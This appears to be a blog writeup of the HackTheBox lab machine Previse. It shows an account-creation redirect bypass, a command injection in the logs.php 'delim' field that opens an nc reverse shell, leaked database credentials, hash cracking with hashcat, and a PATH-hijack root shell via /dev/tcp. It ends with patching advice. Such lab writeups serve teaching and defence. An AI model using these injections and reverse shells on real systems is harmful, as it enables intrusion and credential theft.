Some checks failed
Build Blog Docker Image / build docker (push) Failing after 1m11s
248 lines
7.4 KiB
Markdown
248 lines
7.4 KiB
Markdown
---
|
||
title: "Writeup - Previse (HTB)"
|
||
date: 2022-03-23
|
||
slug: "writeup-previse-htb"
|
||
type: "writeup-ctf"
|
||
---
|
||
|
||
This is a writeup for the [Previse](https://app.hackthebox.com/machines/Previse) machine from the HackTheBox site.
|
||
|
||
## Enumeration
|
||
|
||
First, let's start with a scan of our target with the following command:
|
||
|
||
|
||
```bash
|
||
nmap -sV -T4 -Pn 10.10.11.104
|
||
```
|
||
Two TCP ports are discovered:
|
||
|
||

|
||
|
||
- 22/tcp : SSH port (OpenSSH 7.6p1)
|
||
- 80/tcp : HTTP web server (Apache 2.4.49)
|
||
|
||

|
||
|
||
## Exploit
|
||
|
||
First of all, I start by listing the pages of the site with `ffuf`. After a first execution of the command, I notice that there are few pages, I run the command again with a filter to find particular `.php` pages.
|
||
|
||

|
||
|
||
There are a lot of pages and one in particular that catches my attention : `nav.php`.
|
||
|
||

|
||
|
||
One page in the list is particularly interesting : `CREATE ACCOUNT`. Which refers to `accounts.php`. The only problem is that if I try to go on the page with a browser I am redirected to `login.php` immediately. So I make a `curl` request to try to see the content of the account page.
|
||
|
||

|
||
|
||
On this page we find a form to create an account. Since it is a simple redirection, it is normally possible to make a direct request with the form without being impacted by the redirection to `login.php`. To do so, create the following request with burp :
|
||
|
||
|
||
```bash
|
||
POST /accounts.php HTTP/1.1
|
||
Host: 10.10.11.104
|
||
Content-Length: 46
|
||
Cache-Control: max-age=0
|
||
Upgrade-Insecure-Requests: 1
|
||
Origin: http://10.10.11.104
|
||
Content-Type: application/x-www-form-urlencoded
|
||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
|
||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
||
Referer: http://10.10.11.104/accounts.php
|
||
Accept-Encoding: gzip, deflate
|
||
Accept-Language: en-US,en;q=0.9
|
||
Cookie: PHPSESSID=qmeps94op0toeahb44u0qh6eds
|
||
Connection: close
|
||
|
||
username=azerty&password=azerty&confirm=azerty
|
||
|
||
```
|
||
I now have an account and can connect to the web interface.
|
||
|
||

|
||
|
||
On this web interface, we find a certain number of information, in particular a page to download logs : `file_logs.php`. But also a page to upload files : `files.php`.
|
||
|
||
|
||
```bash
|
||
time user fileID
|
||
1622482496 m4lwhere 4
|
||
1622485614 m4lwhere 4
|
||
1622486215 m4lwhere 4
|
||
1622486218 m4lwhere 1
|
||
1622486221 m4lwhere 1
|
||
1622678056 m4lwhere 5
|
||
1622678059 m4lwhere 6
|
||
1622679247 m4lwhere 1
|
||
1622680894 m4lwhere 5
|
||
1622708567 m4lwhere 4
|
||
1622708573 m4lwhere 4
|
||
1622708579 m4lwhere 5
|
||
1622710159 m4lwhere 4
|
||
1622712633 m4lwhere 4
|
||
1622715674 m4lwhere 24
|
||
1622715842 m4lwhere 23
|
||
1623197471 m4lwhere 25
|
||
1623200269 m4lwhere 25
|
||
1623236411 m4lwhere 23
|
||
1623236571 m4lwhere 26
|
||
1623238675 m4lwhere 23
|
||
1623238684 m4lwhere 23
|
||
1623978778 m4lwhere 32
|
||
```
|
||
|
||
[](img/image-7.webp)
|
||
|
||
I find that we have the possibility to download a backup of the site files. I download the archive and find a `config.php` file in which we find the credentials of the mysql database.
|
||
|
||
|
||
```bash
|
||
<?php
|
||
|
||
function connectDB(){
|
||
$host = 'localhost';
|
||
$user = 'root';
|
||
$passwd = 'mySQL_p@ssw0rd!:)';
|
||
$db = 'previse';
|
||
$mycon = new mysqli($host, $user, $passwd, $db);
|
||
return $mycon;
|
||
}
|
||
|
||
?>
|
||
```
|
||
I also find in the `logs.php` file that the page executes a shell command when we make a request on this same page.
|
||
|
||

|
||
|
||
So I will be able to inject a command during a request and create a reverse shell. To do this I create the following request:
|
||
|
||
|
||
```bash
|
||
POST /logs.php HTTP/1.1
|
||
Host: 10.10.11.104
|
||
Content-Length: 44
|
||
Cache-Control: max-age=0
|
||
Upgrade-Insecure-Requests: 1
|
||
Origin: http://10.10.11.104
|
||
Content-Type: application/x-www-form-urlencoded
|
||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
|
||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
||
Referer: http://10.10.11.104/file_logs.php
|
||
Accept-Encoding: gzip, deflate
|
||
Accept-Language: en-US,en;q=0.9
|
||
Cookie: PHPSESSID=qmeps94op0toeahb44u0qh6eds
|
||
Connection: close
|
||
|
||
delim=comma; nc 10.10.16.3 1234 -e /bin/bash
|
||
```
|
||

|
||
|
||
I now have a reverse shell as `www-data`. I use credentials to connect to the mysql database:
|
||
|
||

|
||
|
||
I enter in the `previse` database, then I list the tables :
|
||
|
||

|
||
|
||
The `accounts` table is interesting, I extract the data with the following command:
|
||
|
||
|
||
```bash
|
||
mysql> SELECT * from accounts;
|
||
SELECT * from accounts;
|
||
+----+----------+------------------------------------+---------------------+
|
||
| id | username | password | created_at |
|
||
+----+----------+------------------------------------+---------------------+
|
||
| 1 | m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. | 2021-05-27 18:18:36 |
|
||
| 2 | azerty | $1$🧂llol$Vxo8V803JRfho0nQ/u2/T0 | 2022-03-21 10:43:49 |
|
||
+----+----------+------------------------------------+---------------------+
|
||
2 rows in set (0.00 sec)
|
||
```
|
||
We find the hash of the user `m4lwhere`. We will use hashcat and rockyou to crack the hash. To do this I use the following command:
|
||
|
||
|
||
```bash
|
||
hashcat.exe -m 500 -a 0 .\hash.txt .\rockyou.txt
|
||
hashcat (v6.2.5) starting
|
||
[...]
|
||
Hashes: 1 digests; 1 unique digests, 1 unique salts
|
||
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
|
||
Rules: 1
|
||
|
||
Optimizers applied:
|
||
* Zero-Byte
|
||
* Single-Hash
|
||
* Single-Salt
|
||
|
||
[...]
|
||
|
||
Dictionary cache built:
|
||
* Filename..: .\rockyou.txt
|
||
* Passwords.: 14344392
|
||
* Bytes.....: 139921507
|
||
* Keyspace..: 14344385
|
||
* Runtime...: 0 secs
|
||
|
||
$1$ƒºéllol$DQpmdvnb7EeuO6UaqRItf.:ilovecody112235!
|
||
[...]
|
||
```
|
||
|
||
{{< alert icon="circle-info" >}}
|
||
To save time I switched to Windows to take advantage of the power of my GPU. Depending on your configuration, it can take more or less time.
|
||
{{< /alert >}}
|
||
|
||
Ok we find that the password of this user is `ilovecody112235!`. I connect to the user with SSH :
|
||
|
||

|
||
|
||
I now have a shell with the user `m4lwhere` and I get the first flag.
|
||
|
||
## Privilege escalation
|
||
|
||
At first I check if the user has SUDO authorization on some order:
|
||
|
||
|
||
```bash
|
||
m4lwhere@previse:~$ sudo -l
|
||
User m4lwhere may run the following commands on previse:
|
||
(root) /opt/scripts/access_backup.sh
|
||
```
|
||
The user can run the script `access_backup.sh` with root privileges. Let's see what this script does:
|
||
|
||

|
||
|
||
This script is quite simple, it creates backups of Apache logs. Interestingly, the script does not use the absolute path of the Gzip program. So we will be able to manipulate the PATH variable so that the script uses an alternative version that we will create.
|
||
|
||
So I create a `gzip` file in the `/tmp` folder with the following content:
|
||
|
||
|
||
```bash
|
||
#!/bin/bash
|
||
|
||
/bin/bash -i >& /dev/tcp/10.10.14.17/1234 0>&1
|
||
```
|
||
I then add the execution rights, and I add `/tmp` in the PATH variable. I then execute the script with sudo.
|
||
|
||
|
||
```bash
|
||
chmod +x /tmp/gzip
|
||
export PATH="/tmp:$PATH"
|
||
sudo /opt/scripts/access_backup.sh
|
||
```
|
||

|
||
|
||
I now have a root shell and can retrieve the last flag.
|
||
|
||
## Recommendations
|
||
|
||
To patch this host I think it would be necessary to perform a number of actions:
|
||
|
||
- Do not use shell commands in pages accessible by everyone
|
||
- Parse form inputs correctly to avoid injection
|
||
- Do not leave credentials in public backups
|
||
- Use absolute path in scripts using external programs to avoid PATH manipulations
|